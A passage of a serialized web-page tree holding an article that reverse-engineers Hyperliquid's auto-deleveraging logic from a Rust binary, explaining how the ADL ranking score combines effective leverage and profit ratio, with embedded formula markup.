positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":25,"tag":82,"props":1287,"children":1289},{"className":1288},[],[1290],{"type":31,"value":1291},"adl_output",{"type":31,"value":1293}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":25,"tag":82,"props":1295,"children":1297},{"className":1296},[],[1298],{"type":31,"value":1299},"position_id",{"type":31,"value":1301}," and ",{"type":25,"tag":82,"props":1303,"children":1305},{"className":1304},[],[1306],{"type":31,"value":1307},"position_shortfall",{"type":31,"value":179},{"type":25,"tag":181,"props":1310,"children":1313},{"addr":590,"line-start":1311,"line-end":1312},"2377","2469",[],{"type":25,"tag":38,"props":1315,"children":1316},{},[1317,1319,1325],{"type":31,"value":1318},"Afterwards we can finally loop over the B-tree containing ",{"type":25,"tag":82,"props":1320,"children":1322},{"className":1321},[],[1323],{"type":31,"value":1324},"(position_id, cut)",{"type":31,"value":1326},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":25,"tag":38,"props":1328,"children":1329},{},[1330,1332,1337],{"type":31,"value":1331},"The final phase of ",{"type":25,"tag":82,"props":1333,"children":1335},{"className":1334},[],[1336],{"type":31,"value":544},{"type":31,"value":1338}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":25,"tag":181,"props":1340,"children":1343},{"addr":590,"addr-start":1341,"addr-end":1342},"0x555556ac6d52","0x555556ac6de8",[],{"type":25,"tag":38,"props":1345,"children":1346},{},[1347],{"type":31,"value":1348},"How are positions chosen (sorted) to be deleveraged?",{"type":25,"tag":453,"props":1350,"children":1352},{"id":1351},"who-do-we-deleverage",[1353],{"type":31,"value":1354},"Who Do We Deleverage?",{"type":25,"tag":38,"props":1356,"children":1357},{},[1358],{"type":31,"value":1359},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":25,"tag":38,"props":1361,"children":1362},{},[1363],{"type":31,"value":1364},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":25,"tag":38,"props":1366,"children":1367},{},[1368,1370,1377],{"type":31,"value":1369},"More formally, fairness can be given multiple related definitions; see ",{"type":25,"tag":162,"props":1371,"children":1374},{"href":1372,"rel":1373},"https://arxiv.org/abs/2512.01112",[166],[1375],{"type":31,"value":1376},"this paper",{"type":31,"value":1378},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":25,"tag":38,"props":1380,"children":1381},{},[1382],{"type":31,"value":1383},"So, is Hyperliquid fair? Is it always solvent?",{"type":25,"tag":26,"props":1385,"children":1387},{"id":1386},"adl-score-computation",[1388],{"type":31,"value":1389},"ADL Score Computation",{"type":25,"tag":38,"props":1391,"children":1392},{},[1393,1395,1401,1403,1409,1411,1416],{"type":31,"value":1394},"The score function at ",{"type":25,"tag":82,"props":1396,"children":1398},{"className":1397},[],[1399],{"type":31,"value":1400},"compute_adl_ranking_score",{"type":31,"value":1402}," is core to answering this question. It's defined, most likely as an ",{"type":25,"tag":82,"props":1404,"children":1406},{"className":1405},[],[1407],{"type":31,"value":1408},"Ord",{"type":31,"value":1410}," implementation on some 20-byte address representation. A ",{"type":25,"tag":82,"props":1412,"children":1414},{"className":1413},[],[1415],{"type":31,"value":900},{"type":31,"value":1417}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":25,"tag":38,"props":1419,"children":1420},{},[1421,1423,1428,1430,1436,1438,1445,1447,1454],{"type":31,"value":1422},"Those sort routines are ",{"type":25,"tag":64,"props":1424,"children":1425},{},[1426],{"type":31,"value":1427},"generated by the compiler",{"type":31,"value":1429},": since Rust binaries include a lot of metadata by default in ",{"type":25,"tag":82,"props":1431,"children":1433},{"className":1432},[],[1434],{"type":31,"value":1435},".comment",{"type":31,"value":1437},", we may even manually ",{"type":25,"tag":162,"props":1439,"children":1442},{"href":1440,"rel":1441},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[166],[1443],{"type":31,"value":1444},"take advantage",{"type":31,"value":1446}," of this to recover the ",{"type":25,"tag":162,"props":1448,"children":1451},{"href":1449,"rel":1450},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[166],[1452],{"type":31,"value":1453},"exact source of library functions",{"type":31,"value":179},{"type":25,"tag":38,"props":1456,"children":1457},{},[1458,1460,1465],{"type":31,"value":1459},"Let's see how this ties back into the ",{"type":25,"tag":82,"props":1461,"children":1463},{"className":1462},[],[1464],{"type":31,"value":544},{"type":31,"value":1466},":",{"type":25,"tag":181,"props":1468,"children":1470},{"source":544,"target":1400,"direction":545,"path":1469},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":25,"tag":38,"props":1472,"children":1473},{},[1474],{"type":31,"value":1475},"And here's the main call site used for sorting:",{"type":25,"tag":181,"props":1477,"children":1480},{"addr":590,"line-start":1478,"line-end":1479},"2806","2814",[],{"type":25,"tag":26,"props":1482,"children":1484},{"id":1483},"ratio-1-effective-leverage",[1485],{"type":31,"value":1486},"Ratio 1: Effective Leverage",{"type":25,"tag":206,"props":1488,"children":1489},{},[1490],{"type":25,"tag":82,"props":1491,"children":1493},{"className":1492},[212,213],[1494],{"type":25,"tag":216,"props":1495,"children":1497},{"className":1496},[219],[1498],{"type":25,"tag":216,"props":1499,"children":1501},{"className":1500},[224],[1502],{"type":25,"tag":216,"props":1503,"children":1505},{"className":1504,"ariaHidden":230},[229],[1506,1538],{"type":25,"tag":216,"props":1507,"children":1509},{"className":1508},[235],[1510,1515,1525,1529,1534],{"type":25,"tag":216,"props":1511,"children":1514},{"className":1512,"style":1513},[240],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":25,"tag":216,"props":1516,"children":1518},{"className":1517},[246,31],[1519],{"type":25,"tag":216,"props":1520,"children":1522},{"className":1521},[246],[1523],{"type":31,"value":1524},"effective leverage",{"type":25,"tag":216,"props":1526,"children":1528},{"className":1527,"style":258},[257],[],{"type":25,"tag":216,"props":1530,"children":1532},{"className":1531},[263],[1533],{"type":31,"value":266},{"type":25,"tag":216,"props":1535,"children":1537},{"className":1536,"style":258},[257],[],{"type":25,"tag":216,"props":1539,"children":1541},{"className":1540},[235],[1542,1547],{"type":25,"tag":216,"props":1543,"children":1546},{"className":1544,"style":1545},[240],"height:2.113em;vertical-align:-0.686em;",[],{"type":25,"tag":216,"props":1548,"children":1550},{"className":1549},[246],[1551,1555,1650],{"type":25,"tag":216,"props":1552,"children":1554},{"className":1553},[287,288],[],{"type":25,"tag":216,"props":1556,"children":1558},{"className":1557},[293],[1559],{"type":25,"tag":216,"props":1560,"children":1562},{"className":1561},[298,299],[1563,1638],{"type":25,"tag":216,"props":1564,"children":1566},{"className":1565},[304],[1567,1633],{"type":25,"tag":216,"props":1568,"children":1570},{"className":1569,"style":310},[309],[1571,1592,1603],{"type":25,"tag":216,"props":1572,"children":1573},{"style":314},[1574,1578],{"type":25,"tag":216,"props":1575,"children":1577},{"className":1576,"style":320},[319],[],{"type":25,"tag":216,"props":1579,"children":1581},{"className":1580},[246],[1582],{"type":25,"tag":216,"props":1583,"children":1585},{"className":1584},[246,31],[1586],{"type":25,"tag":216,"props":1587,"children":1589},{"className":1588},[246],[1590],{"type":31,"value":1591},"account value",{"type":25,"tag":216,"props":1593,"children":1594},{"style":360},[1595,1599],{"type":25,"tag":216,"props":1596,"children":1598},{"className":1597,"style":320},[319],[],{"type":25,"tag":216,"props":1600,"children":1602},{"className":1601,"style":370},[369],[],{"type":25,"tag":216,"props":1604,"children":1605},{"style":374},[1606,1610],{"type":25,"tag":216,"props":1607,"children":1609},{"className":1608,"style":320},[319],[],{"type":25,"tag":216,"props":1611,"children":1613},{"className":1612},[246],[1614,1619,1628],{"type":25,"tag":216,"props":1615,"children":1617},{"className":1616},[246],[1618],{"type":31,"value":389},{"type":25,"tag":216,"props":1620,"children":1622},{"className":1621},[246,31],[1623],{"type":25,"tag":216,"props":1624,"children":1626},{"className":1625},[246],[1627],{"type":31,"value":399},{"type":25,"tag":216,"props":1629,"children":1631},{"className":1630},[246],[1632],{"type":31,"value":389},{"type":25,"tag":216,"props":1634,"children":1636},{"className":1635},[408],[1637],{"type":31,"value":411},{"type":25,"tag":216,"props":1639,"children":1641},{"className":1640},[304],[1642],{"type":25,"tag":216,"props":1643,"children":1646},{"className":1644,"style":1645},[309],"height:0.686em;",[1647],{"type":25,"tag":216,"props":1648,"children":1649},{},[],{"type":25,"tag":216,"props":1651,"children":1653},{"className":1652},[427,288],[],{"type":25,"tag":38,"props":1655,"children":1656},{},[1657,1659,1665,1667,1673,1675,1681,1683,1689],{"type":31,"value":1658},"We can see in the decompilation below, through the SIMD noise, that ",{"type":25,"tag":82,"props":1660,"children":1662},{"className":1661},[],[1663],{"type":31,"value":1664},"abs_notional",{"type":31,"value":1666}," (unsigned), and ",{"type":25,"tag":82,"props":1668,"children":1670},{"className":1669},[],[1671],{"type":31,"value":1672},"float.d(rbx)",{"type":31,"value":1674}," is ",{"type":25,"tag":82,"props":1676,"children":1678},{"className":1677},[],[1679],{"type":31,"value":1680},"account_value",{"type":31,"value":1682}," (signed); the division is ",{"type":25,"tag":82,"props":1684,"children":1686},{"className":1685},[],[1687],{"type":31,"value":1688},"abs_notional / account_value",{"type":31,"value":179},{"type":25,"tag":38,"props":1691,"children":1692},{},[1693],{"type":31,"value":1694},"This tells us the risk multiplier that the user took on for this position.",{"type":25,"tag":181,"props":1696,"children":1700},{"addr":1697,"line-start":1698,"line-end":1699},"0x555556abb140","278","296",[],{"type":25,"tag":26,"props":1702,"children":1704},{"id":1703},"ratio-2-profit-ratio",[1705],{"type":31,"value":1706},"Ratio 2: Profit Ratio",{"type":25,"tag":206,"props":1708,"children":1709},{},[1710],{"type":25,"tag":82,"props":1711,"children":1713},{"className":1712},[212,213],[1714],{"type":25,"tag":216,"props":1715,"children":1717},{"className":1716},[219],[1718],{"type":25,"tag":216,"props":1719,"children":1721},{"className":1720},[224],[1722],{"type":25,"tag":216,"props":1723,"children":1725},{"className":1724,"ariaHidden":230},[229],[1726,1757],{"type":25,"tag":216,"props":1727,"children":1729},{"className":1728},[235],[1730,1734,1744,1748,1753],{"type":25,"tag":216,"props":1731,"children":1733},{"className":1732,"style":1513},[240],[],{"type":25,"tag":216,"props":1735,"children":1737},{"className":1736},[246,31],[1738],{"type":25,"tag":216,"props":1739,"children":1741},{"className":1740},[246],[1742],{"type":31,"value":1743},"profit ratio",{"type":25,"tag":216,"props":1745,"children":1747},{"className":1746,"style":258},[257],[],{"type":25,"tag":216,"props":1749,"children":1751},{"className":1750},[263],[1752],{"type":31,"value":266},{"type":25,"tag":216,"props":1754,"children":1756},{"className":1755,"style":258},[257],[],{"type":25,"tag":216,"props":1758,"children":1760},{"className":1759},[235],[1761,1765],{"type":25,"tag":216,"props":1762,"children":1764},{"className":1763,"style":278},[240],[],{"type":25,"tag":216,"props":1766,"children":1768},{"className":1767},[246],[1769,1773,1899],{"type":25,"tag":216,"props":1770,"children":1772},{"className":1771},[287,288],[],{"type":25,"tag":216,"props":1774,"children":1776},{"className":1775},[293],[1777],{"type":25,"tag":216,"props":1778,"children":1780},{"className":1779},[298,299],[1781,1888],{"type":25,"tag":216,"props":1782,"children":1784},{"className":1783},[304],[1785,1883],{"type":25,"tag":216,"props":1786,"children":1788},{"className":1787,"style":310},[309],[1789,1810,1821],{"type":25,"tag":216,"props":1790,"children":1791},{"style":314},[1792,1796],{"type":25,"tag":216,"props":1793,"children":1795},{"className":1794,"style":320},[319],[],{"type":25,"tag":216,"props":1797,"children":1799},{"className":1798},[246],[1800],{"type":25,"tag":216,"props":1801,"children":1803},{"className":1802},[246,31],[1804],{"type":25,"tag":216,"props":1805,"children":1807},{"className":1806},[246],[1808],{"type":31,"value":1809},"entry notional",{"type":25,"tag":216,"props":1811,"children":1812},{"style":360},[1813,1817],{"type":25,"tag":216,"props":1814,"children":1816},{"className":1815,"style":320},[319],[],{"type":25,"tag":216,"props":1818,"children":1820},{"className":1819,"style":370},[369],[],{"type":25,"tag":216,"props":1822,"children":1823},{"style":374},[1824,1828],{"type":25,"tag":216,"props":1825,"children":1827},{"className":1826,"style":320},[319],[],{"type":25,"tag":216,"props":1829,"children":1831},{"className":1830},[246],[1832,1839,1845,1855,1862,1867,1871,1877],{"type":25,"tag":216,"props":1833,"children":1836},{"className":1834},[1835],"mop",[1837],{"type":31,"value":1838},"max",{"type":25,"tag":216,"props":1840,"children":1842},{"className":1841},[287],[1843],{"type":31,"value":1844},"(",{"type":25,"tag":216,"props":1846,"children":1848},{"className":1847},[246,31],[1849],{"type":25,"tag":216,"props":1850,"children":1852},{"className":1851},[246],[1853],{"type":31,"value":1854},"pnl",{"type":25,"tag":216,"props":1856,"children":1859},{"className":1857},[1858],"mpunct",[1860],{"type":31,"value":1861},",",{"type":25,"tag":216,"props":1863,"children":1866},{"className":1864,"style":1865},[257],"margin-right:0.1667em;",[],{"type":25,"tag":216,"props":1868,"children":1870},{"className":1869,"style":1865},[257],[],{"type":25,"tag":216,"props":1872,"children":1874},{"className":1873},[246],[1875],{"type":31,"value":1876},"0",{"type":25,"tag":216,"props":1878,"children":1880},{"className":1879},[427],[1881],{"type":31,"value":1882},")",{"type":25,"tag":216,"props":1884,"children":1886},{"className":1885},[408],[1887],{"type":31,"value":411},{"type":25,"tag":216,"props":1889,"children":1891},{"className":1890},[304],[1892],{"type":25,"tag":216,"props":1893,"children":1895},{"className":1894,"style":419},[309],[1896],{"type":25,"tag":216,"props":1897,"children":1898},{},[],{"type":25,"tag":216,"props":1900,"children":1902},{"className":1901},[427,288],[],{"type":25,"tag":38,"props":1904,"children":1905},{},[1906,1908,1914],{"type":31,"value":1907},"It uses entry notional (",{"type":25,"tag":82,"props":1909,"children":1911},{"className":1910},[],[1912],{"type":31,"value":1913},"r14_2",{"type":31,"value":1915},") as the divisor. PNL is clamped to non-negative before division.",{"type":25,"tag":38,"props":1917,"children":1918},{},[1919],{"type":31,"value":1920},"This basically tells us how well the user's bet went.",{"type":25,"tag":181,"props":1922,"children":1926},{"addr":1923,"addr-start":1924,"addr-end":1925},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":25,"tag":38,"props":1928,"children":1929},{},[1930,1932,1938,1940,1946],{"type":31,"value":1931},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":25,"tag":82,"props":1933,"children":1935},{"className":1934},[],[1936],{"type":31,"value":1937},"1e-8",{"type":31,"value":1939},", in order not to cancel each other out. The final ADL ranking score is ",{"type":25,"tag":82,"props":1941,"children":1943},{"className":1942},[],[1944],{"type":31,"value":1945},"effective_leverage * profit_ratio",{"type":31,"value":1947},", consistent with both ratio directions and the max clamp on PNL.",{"type":25,"tag":38,"props":1949,"children":1950},{},[1951],{"type":31,"value":1952},"So, in essence, we look for risky and profitable positions!",{"type":25,"tag":607,"props":1954,"children":1956},{"id":1955},"partial-and-total-adl",[1957],{"type":31,"value":1958},"Partial and Total ADL",{"type":25,"tag":38,"props":1960,"children":1961},{},[1962],{"type":31,"value":1963},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":25,"tag":38,"props":1965,"children":1966},{},[1967],{"type":31,"value":1968},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":25,"tag":38,"props":1970,"children":1971},{},[1972,1974,1979],{"type":31,"value":1973},"So essentially, in pseudocode, the whole latter part of ",{"type":25,"tag":82,"props":1975,"children":1977},{"className":1976},[],[1978],{"type":31,"value":544},{"type":31,"value":1980}," boils down to:",{"type":25,"tag":181,"props":1982,"children":1985},{"addr":590,"line-start":1983,"line-end":1984},"3252","3632",[],{"type":25,"tag":38,"props":1987,"children":1988},{},[1989],{"type":31,"value":1990},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":25,"tag":453,"props":1992,"children":1994},{"id":1993},"branches",[1995],{"type":31,"value":1996},"Branches",{"type":25,"tag":38,"props":1998,"children":1999},{},[2000],{"type":31,"value":2001},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":25,"tag":38,"props":2003,"children":2004},{},[2005],{"type":31,"value":2006},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":25,"tag":453,"props":2008,"children":2010},{"id":2009},"financial-conclusions",[2011],{"type":31,"value":2012},"Financial Conclusions",{"type":25,"tag":26,"props":2014,"children":2016},{"id":2015},"fairness-revenue-solvency-trilemma",[2017],{"type":31,"value":2018},"Fairness, Revenue, Solvency Trilemma",{"type":25,"tag":38,"props":2020,"children":2021},{},[2022,2024,2030],{"type":31,"value":2023},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":25,"tag":162,"props":2025,"children":2027},{"href":1372,"rel":2026},[166],[2028],{"type":31,"value":2029},"the paper mentioned before",{"type":31,"value":2031},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":25,"tag":2033,"props":2034,"children":2035},"ul",{},[2036,2047,2057],{"type":25,"tag":2037,"props":2038,"children":2039},"li",{},[2040,2045],{"type":25,"tag":64,"props":2041,"children":2042},{},[2043],{"type":31,"value":2044},"Solvency",{"type":31,"value":2046},": can the platform pay every trader out?",{"type":25,"tag":2037,"props":2048,"children":2049},{},[2050,2055],{"type":25,"tag":64,"props":2051,"children":2052},{},[2053],{"type":31,"value":2054},"Fairness",{"type":31,"value":2056},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":25,"tag":2037,"props":2058,"children":2059},{},[2060,2065],{"type":25,"tag":64,"props":2061,"children":2062},{},[2063],{"type":31,"value":2064},"Revenue",{"type":31,"value":2066},": the fraction of total winner PNL that survives after deleveraging.",{"type":25,"tag":38,"props":2068,"children":2069},{},[2070],{"type":31,"value":2071},"Let's borrow these definitions from the paper:",{"type":25,"tag":206,"props":2073,"children":2074},{},[2075],{"type":25,"tag":82,"props":2076,"children":2078},{"className":2077},[212,213],[2079],{"type":25,"tag":216,"props":2080,"children":2082},{"className":2081},[219],[2083],{"type":25,"tag":216,"props":2084,"children":2086},{"className":2085},[224],[2087],{"type":25,"tag":216,"props":2088,"children":2090},{"className":2089,"ariaHidden":230},[229],[2091],{"type":25,"tag":216,"props":2092,"children":2094},{"className":2093},[235],[2095,2100],{"type":25,"tag":216,"props":2096,"children":2099},{"className":2097,"style":2098},[240],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":25,"tag":216,"props":2101,"children":2103},{"className":2102},[246],[2104],{"type":25,"tag":216,"props":2105,"children":2107},{"className":2106},[948],[2108,2962],{"type":25,"tag":216,"props":2109,"children":2111},{"className":2110},[953],[2112],{"type":25,"tag":216,"props":2113,"children":2115},{"className":2114},[298,299],[2116,2950],{"type":25,"tag":216,"props":2117,"children":2119},{"className":2118},[304],[2120,2945],{"type":25,"tag":216,"props":2121,"children":2124},{"className":2122,"style":2123},[309],"height:11.8392em;",[2125,2208,2227,2300,2372,2442,2514,2584,2654,2727,2799,2871],{"type":25,"tag":216,"props":2126,"children":2128},{"style":2127},"top:-14.3707em;",[2129,2134],{"type":25,"tag":216,"props":2130,"children":2133},{"className":2131,"style":2132},[319],"height:3.3714em;",[],{"type":25,"tag":216,"props":2135,"children":2137},{"className":2136},[246],[2138],{"type":25,"tag":216,"props":2139,"children":2141},{"className":2140},[246],[2142,2150],{"type":25,"tag":216,"props":2143,"children":2147},{"className":2144,"style":2146},[246,2145],"mathnormal","margin-right:0.13889em;",[2148],{"type":31,"value":2149},"P",{"type":25,"tag":216,"props":2151,"children":2154},{"className":2152},[2153],"msupsub",[2155],{"type":25,"tag":216,"props":2156,"children":2158},{"className":2157},[298,299],[2159,2196],{"type":25,"tag":216,"props":2160,"children":2162},{"className":2161},[304],[2163,2191],{"type":25,"tag":216,"props":2164,"children":2167},{"className":2165,"style":2166},[309],"height:0.1514em;",[2168],{"type":25,"tag":216,"props":2169,"children":2171},{"style":2170},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[2172,2177],{"type":25,"tag":216,"props":2173,"children":2176},{"className":2174,"style":2175},[319],"height:2.7em;",[],{"type":25,"tag":216,"props":2178,"children":2184},{"className":2179},[2180,2181,2182,2183],"sizing","reset-size6","size3","mtight",[2185],{"type":25,"tag":216,"props":2186,"children":2188},{"className":2187},[246,2145,2183],[2189],{"type":31,"value":2190},"n",{"type":25,"tag":216,"props":2192,"children":2194},{"className":2193},[408],[2195],{"type":31,"value":411},{"type":25,"tag":216,"props":2197,"children":2199},{"className":2198},[304],[2200],{"type":25,"tag":216,"props":2201,"children":2204},{"className":2202,"style":2203},[309],"height:0.15em;",[2205],{"type":25,"tag":216,"props":2206,"children":2207},{},[],{"type":25,"tag":216,"props":2209,"children":2211},{"style":2210},"top:-12.8707em;",[2212,2216],{"type":25,"tag":216,"props":2213,"children":2215},{"className":2214,"style":2132},[319],[],{"type":25,"tag":216,"props":2217,"children":2219},{"className":2218},[246],[2220],{"type":25,"tag":216,"props":2221,"children":2224},{"className":2222,"style":2223},[246,2145],"margin-right:0.07847em;",[2225],{"type":31,"value":2226},"I",{"type":25,"tag":216,"props":2228,"children":2230},{"style":2229},"top:-10.8392em;",[2231,2235],{"type":25,"tag":216,"props":2232,"children":2234},{"className":2233,"style":2132},[319],[],{"type":25,"tag":216,"props":2236,"children":2238},{"className":2237},[246],[2239],{"type":25,"tag":216,"props":2240,"children":2242},{"className":2241},[246],[2243,2249],{"type":25,"tag":216,"props":2244,"children":2246},{"className":2245},[246,2145],[2247],{"type":31,"value":2248},"c",{"type":25,"tag":216,"props":2250,"children":2252},{"className":2251},[2153],[2253],{"type":25,"tag":216,"props":2254,"children":2256},{"className":2255},[298,299],[2257,2289],{"type":25,"tag":216,"props":2258,"children":2260},{"className":2259},[304],[2261,2284],{"type":25,"tag":216,"props":2262,"children":2265},{"className":2263,"style":2264},[309],"height:0.3117em;",[2266],{"type":25,"tag":216,"props":2267,"children":2269},{"style":2268},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[2270,2274],{"type":25,"tag":216,"props":2271,"children":2273},{"className":2272,"style":2175},[319],[],{"type":25,"tag":216,"props":2275,"children":2277},{"className":2276},[2180,2181,2182,2183],[2278],{"type":25,"tag":216,"props":2279,"children":2281},{"className":2280},[246,2145,2183],[2282],{"type":31,"value":2283},"i",{"type":25,"tag":216,"props":2285,"children":2287},{"className":2286},[408],[2288],{"type":31,"value":411},{"type":25,"tag":216,"props":2290,"children":2292},{"className":2291},[304],[2293],{"type":25,"tag":216,"props":2294,"children":2296},{"className":2295,"style":2203},[309],[2297],{"type":25,"tag":216,"props":2298,"children":2299},{},[],{"type":25,"tag":216,"props":2301,"children":2303},{"style":2302},"top:-8.8188em;",[2304,2308],{"type":25,"tag":216,"props":2305,"children":2307},{"className":2306,"style":2132},[319],[],{"type":25,"tag":216,"props":2309,"children":2311},{"className":2310},[246],[2312],{"type":25,"tag":216,"props":2313,"children":2315},{"className":2314},[246],[2316,2323],{"type":25,"tag":216,"props":2317,"children":2320},{"className":2318,"style":2319},[246,2145],"margin-right:0.03588em;",[2321],{"type":31,"value":2322},"π",{"type":25,"tag":216,"props":2324,"children":2326},{"className":2325},[2153],[2327],{"type":25,"tag":216,"props":2328,"children":2330},{"className":2329},[298,299],[2331,2361],{"type":25,"tag":216,"props":2332,"children":2334},{"className":2333},[304],[2335,2356],{"type":25,"tag":216,"props":2336,"children":2338},{"className":2337,"style":2264},[309],[2339],{"type":25,"tag":216,"props":2340,"children":2342},{"style":2341},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[2343,2347],{"type":25,"tag":216,"props":2344,"children":2346},{"className":2345,"style":2175},[319],[],{"type":25,"tag":216,"props":2348,"children":2350},{"className":2349},[2180,2181,2182,2183],[2351],{"type":25,"tag":216,"props":2352,"children":2354},{"className":2353},[246,2145,2183],[2355],{"type":31,"value":2283},{"type":25,"tag":216,"props":2357,"children":2359},{"className":2358},[408],[2360],{"type":31,"value":411},{"type":25,"tag":216,"props":2362,"children":2364},{"className":2363},[304],[2365],{"type":25,"tag":216,"props":2366,"children":2368},{"className":2367,"style":2203},[309],[2369],{"type":25,"tag":216,"props":2370,"children":2371},{},[],{"type":25,"tag":216,"props":2373,"children":2375},{"style":2374},"top:-7.3188em;",[2376,2380],{"type":25,"tag":216,"props":2377,"children":2379},{"className":2378,"style":2132},[319],[],{"type":25,"tag":216,"props":2381,"children":2383},{"className":2382},[246],[2384],{"type":25,"tag":216,"props":2385,"children":2387},{"className":2386},[246],[2388,2394],{"type":25,"tag":216,"props":2389,"children":2391},{"className":2390},[246,2145],[2392],{"type":31,"value":2393},"e",{"type":25,"tag":216,"props":2395,"children":2397},{"className":2396},[2153],[2398],{"type":25,"tag":216,"props":2399,"children":2401},{"className":2400},[298,299],[2402,2431],{"type":25,"tag":216,"props":2403,"children":2405},{"className":2404},[304],[2406,2426],{"type":25,"tag":216,"props":2407,"children":2409},{"className":2408,"style":2264},[309],[2410],{"type":25,"tag":216,"props":2411,"children":2412},{"style":2268},[2413,2417],{"type":25,"tag":216,"props":2414,"children":2416},{"className":2415,"style":2175},[319],[],{"type":25,"tag":216,"props":2418,"children":2420},{"className":2419},[2180,2181,2182,2183],[2421],{"type":25,"tag":216,"props":2422,"children":2424},{"className":2423},[246,2145,2183],[2425],{"type":31,"value":2283},{"type":25,"tag":216,"props":2427,"children":2429},{"className":2428},[408],[2430],{"type":31,"value":411},{"type":25,"tag":216,"props":2432,"children":2434},{"className":2433},[304],[2435],{"type":25,"tag":216,"props":2436,"children":2438},{"className":2437,"style":2203},[309],[2439],{"type":25,"tag":216,"props":2440,"children":2441},{},[],{"type":25,"tag":216,"props":2443,"children":2445},{"style":2444},"top:-5.8188em;",[2446,2450],{"type":25,"tag":216,"props":2447,"children":2449},{"className":2448,"style":2132},[319],[],{"type":25,"tag":216,"props":2451,"children":2453},{"className":2452},[246],[2454],{"type":25,"tag":216,"props":2455,"children":2457},{"className":2456},[246],[2458,2465],{"type":25,"tag":216,"props":2459,"children":2462},{"className":2460,"style":2461},[246,2145],"margin-right:0.02691em;",[2463],{"type":31,"value":2464},"w",{"type":25,"tag":216,"props":2466,"children":2468},{"className":2467},[2153],[2469],{"type":25,"tag":216,"props":2470,"children":2472},{"className":2471},[298,299],[2473,2503],{"type":25,"tag":216,"props":2474,"children":2476},{"className":2475},[304],[2477,2498],{"type":25,"tag":216,"props":2478,"children":2480},{"className":2479,"style":2264},[309],[2481],{"type":25,"tag":216,"props":2482,"children":2484},{"style":2483},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[2485,2489],{"type":25,"tag":216,"props":2486,"children":2488},{"className":2487,"style":2175},[319],[],{"type":25,"tag":216,"props":2490,"children":2492},{"className":2491},[2180,2181,2182,2183],[2493],{"type":25,"tag":216,"props":2494,"children":2496},{"className":2495},[246,2145,2183],[2497],{"type":31,"value":2283},{"type":25,"tag":216,"props":2499,"children":2501},{"className":2500},[408],[2502],{"type":31,"value":411},{"type":25,"tag":216,"props":2504,"children":2506},{"className":2505},[304],[2507],{"type":25,"tag":216,"props":2508,"children":2510},{"className":2509,"style":2203},[309],[2511],{"type":25,"tag":216,"props":2512,"children":2513},{},[],{"type":25,"tag":216,"props":2515,"children":2517},{"style":2516},"top:-4.3188em;",[2518,2522],{"type":25,"tag":216,"props":2519,"children":2521},{"className":2520,"style":2132},[319],[],{"type":25,"tag":216,"props":2523,"children":2525},{"className":2524},[246],[2526],{"type":25,"tag":216,"props":2527,"children":2529},{"className":2528},[246],[2530,2536],{"type":25,"tag":216,"props":2531,"children":2533},{"className":2532},[246,2145],[2534],{"type":31,"value":2535},"x",{"type":25,"tag":216,"props":2537,"children":2539},{"className":2538},[2153],[2540],{"type":25,"tag":216,"props":2541,"children":2543},{"className":2542},[298,299],[2544,2573],{"type":25,"tag":216,"props":2545,"children":2547},{"className":2546},[304],[2548,2568],{"type":25,"tag":216,"props":2549,"children":2551},{"className":2550,"style":2264},[309],[2552],{"type":25,"tag":216,"props":2553,"children":2554},{"style":2268},[2555,2559],{"type":25,"tag":216,"props":2556,"children":2558},{"className":2557,"style":2175},[319],[],{"type":25,"tag":216,"props":2560,"children":2562},{"className":2561},[2180,2181,2182,2183],[2563],{"type":25,"tag":216,"props":2564,"children":2566},{"className":2565},[246,2145,2183],[2567],{"type":31,"value":2283},{"type":25,"tag":216,"props":2569,"children":2571},{"className":2570},[408],[2572],{"type":31,"value":411},{"type":25,"tag":216,"props":2574,"children":2576},{"className":2575},[304],[2577],{"type":25,"tag":216,"props":2578,"children":2580},{"className":2579,"style":2203},[309],[2581],{"type":25,"tag":216,"props":2582,"children":2583},{},[],{"type":25,"tag":216,"props":2585,"children":2587},{"style":2586},"top:-2.5512em;",[2588,2592],{"type":25,"tag":216,"props":2589,"children":2591},{"className":2590,"style":2132},[319],[],{"type":25,"tag":216,"props":2593,"children":2595},{"className":2594},[246],[2596],{"type":25,"tag":216,"props":2597,"children":2599},{"className":2598},[246],[2600,2606],{"type":25,"tag":216,"props":2601,"children":2603},{"className":2602},[246,2145],[2604],{"type":31,"value":2605},"h",{"type":25,"tag":216,"props":2607,"children":2609},{"className":2608},[2153],[2610],{"type":25,"tag":216,"props":2611,"children":2613},{"className":2612},[298,299],[2614,2643],{"type":25,"tag":216,"props":2615,"children":2617},{"className":2616},[304],[2618,2638],{"type":25,"tag":216,"props":2619,"children":2621},{"className":2620,"style":2264},[309],[2622],{"type":25,"t